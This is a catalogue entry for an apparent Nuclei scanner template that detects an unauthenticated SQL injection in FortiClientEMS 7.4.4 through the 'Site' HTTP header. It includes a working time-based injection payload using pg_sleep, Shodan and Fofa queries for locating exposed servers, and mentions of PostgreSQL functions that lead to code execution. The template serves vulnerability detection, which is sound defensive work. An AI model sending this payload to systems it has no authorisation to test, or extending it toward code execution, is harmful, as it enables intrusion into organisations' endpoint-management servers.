CVE-2026-21643: Fortinet FortiClientEMS 7.4.4 - SQL Injection
- Template: CVE-2026-21643
- Name: Fortinet FortiClientEMS 7.4.4 - SQL Injection
- Description: Fortinet FortiClientEMS version 7.4.4 and earlier contains an unauthenticated SQL injection vulnerability in the /api/v1/init_consts endpoint. The 'Site' HTTP header value is passed directly into the PostgreSQL search_path without sanitization, allowing remote unauthenticated attackers to inject arbitrary SQL commands. This can lead to information disclosure, database manipulation, or OS command execution when chained with PostgreSQL functions.
- Impact: An unauthenticated remote attacker can execute arbitrary SQL queries against the backend PostgreSQL database, potentially extracting sensitive data, modifying database contents, or achieving remote code execution through PostgreSQL-specific functions (e.g., COPY, lo_import, pg_read_file).
- Remediation: Upgrade FortiClientEMS to a patched version as recommended by Fortinet. As a workaround, restrict network access to the FortiClientEMS management interface and apply WAF rules to filter malicious Site header values.
- Severity: critical
- Authors: ritikchaddha
- Tags: cve, cve2026, sqli, forticlient, ems, fortinet, vkev, kev
- References: https://www.fortiguard.com/psirt/FG-IR-2026-21643, https://nvd.nist.gov/vuln/detail/CVE-2026-21643
- Cves: CVE-2026-21643
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2026/CVE-2026-21643.yaml
- Digest: 4b0a00483046022100eb0979526329dc22f78e35916dc00181ae84da4d73774dcc42042c874e41adc3022100e71271407779da59efdb20e800f8f7750497070ff942d523713babc5d2211846
- Created at: 2026-04-09T11:07:09Z
- Updated at: 2026-11-21T02:03:58Z
- Age in days: 229
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-21643.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-89
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.97735
- Epss percentile: 0.99906
- Not known: cpe
Metadata
- Fofa-query: icon_hash="-800551065"
- Max-request: 2
- Product: forticlientems
- Shodan-query: http.favicon.hash:-800551065
- Vendor: fortinet
- Checked, none or zero: verified
Products
| Product | Indexed | Url |
|---|---|---|
| fortinet:forticlientems | yes | /v1/products/fortinet/forticlientems |
Labels
- Name: Fortinet FortiClientEMS - SQL Injection
- Impact: Unauthenticated attackers can execute unauthorized code or commands, potentially compromising the system.
- Remediation: Update to the latest version of FortiClientEMS.
- Vulnerability type: sql_injection
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2026-21643
- Not known: requirements
```yaml
id: CVE-2026-21643
info:
name: Fortinet FortiClientEMS 7.4.4 - SQL Injection
author: ritikchaddha
severity: critical
description: |
Fortinet FortiClientEMS version 7.4.4 and earlier contains an unauthenticated SQL injection vulnerability in the /api/v1/init_consts endpoint. The 'Site' HTTP header value is passed directly into the PostgreSQL search_path without sanitization, allowing remote unauthenticated attackers to inject arbitrary SQL commands. This can lead to information disclosure, database manipulation, or OS command execution when chained with PostgreSQL functions.
impact: |
An unauthenticated remote attacker can execute arbitrary SQL queries against the backend PostgreSQL database, potentially extracting sensitive data, modifying database contents, or achieving remote code execution through PostgreSQL-specific functions (e.g., COPY, lo_import, pg_read_file).
remediation: |
Upgrade FortiClientEMS to a patched version as recommended by Fortinet. As a workaround, restrict network access to the FortiClientEMS management interface and apply WAF rules to filter malicious Site header values.
reference:
- https://www.fortiguard.com/psirt/FG-IR-2026-21643
- https://nvd.nist.gov/vuln/detail/CVE-2026-21643
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-21643
cwe-id: CWE-89
epss-score: 0.97735
epss-percentile: 0.99906
metadata:
verified: false
max-request: 2
vendor: fortinet
product: forticlientems
shodan-query: http.favicon.hash:-800551065
fofa-query: icon_hash="-800551065"
tags: cve,cve2026,sqli,forticlient,ems,fortinet,,vkev,kev
http:
- raw:
- |
GET /api/v1/init_consts HTTP/1.1
Host: {{Hostname}}
- |
@timeout: 20s
GET /api/v1/init_consts HTTP/1.1
Host: {{Hostname}}
Site: tenant1; SELECT pg_sleep(8)--
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'contains(body_1, "SITES_ENABLED\": true")'
- type: dsl
name: time-based
dsl:
- "duration_2>=8"
- "status_code_2 == 500"
condition: and
digest: 4b0a00483046022100eb0979526329dc22f78e35916dc00181ae84da4d73774dcc42042c874e41adc3022100e71271407779da59efdb20e800f8f7750497070ff942d523713babc5d2211846:922c64590222798bb761d5b6d8e72950
```